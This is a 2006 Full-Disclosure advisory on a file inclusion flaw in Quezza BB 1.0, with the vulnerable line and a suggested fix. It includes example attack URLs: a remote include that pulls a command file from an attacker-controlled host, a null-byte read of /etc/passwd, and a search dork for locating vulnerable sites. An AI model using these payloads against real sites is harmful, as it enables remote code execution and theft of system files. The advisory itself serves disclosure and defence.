Full Disclosure mailing list archives
Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.
From: Mustafa Can Bjorn IPEKCI <nukedx () nukedx com>
Date: Wed, 17 May 2006 07:38:01 +0300
--Security Report-- Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 17/05/06 05:37 AM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx () nukedx com Web: http://www.nukedx.com } --- Vendor: Quezza (http://www.quezza.com/) Version: 1.0 and prior versions must be affected.About: Via this methods remote attacker can include arbitrary files to Quezza.quezza_root_path variable in class_template.php did not sanitized before using it.You can find vulnerable code in class_template.php at line 21
-Source in class_template.php- 21: include($quezza_root_path . 'includes/template.' . $phpEx); -End of source-Fixing this vulnerability so easy turn off register_globals and add this code to source before line 21
if ( !defined('IN_QUEZZA') ) { die('Hacking attempt'); } Level: Highly Critical --- How&Example: Succesful exploitation needs allow_url_fopen set to 1 and register_globals onGET -> http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=[FILE] EXAMPLE -> http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=http://yourhost.com/cmd.txt?
If magic_quotes_gpc off remote attacker can include local files tooEXAMPLE -> http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=/etc/passwd%00
--- Timeline: * 17/05/2006: Vulnerability found. * 17/05/2006: Contacted with vendor and waiting reply. --- Exploit: Click here and get exploit for this advisory --- Dorks: "Powered by Quezza" _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability. Mustafa Can Bjorn IPEKCI (May 16)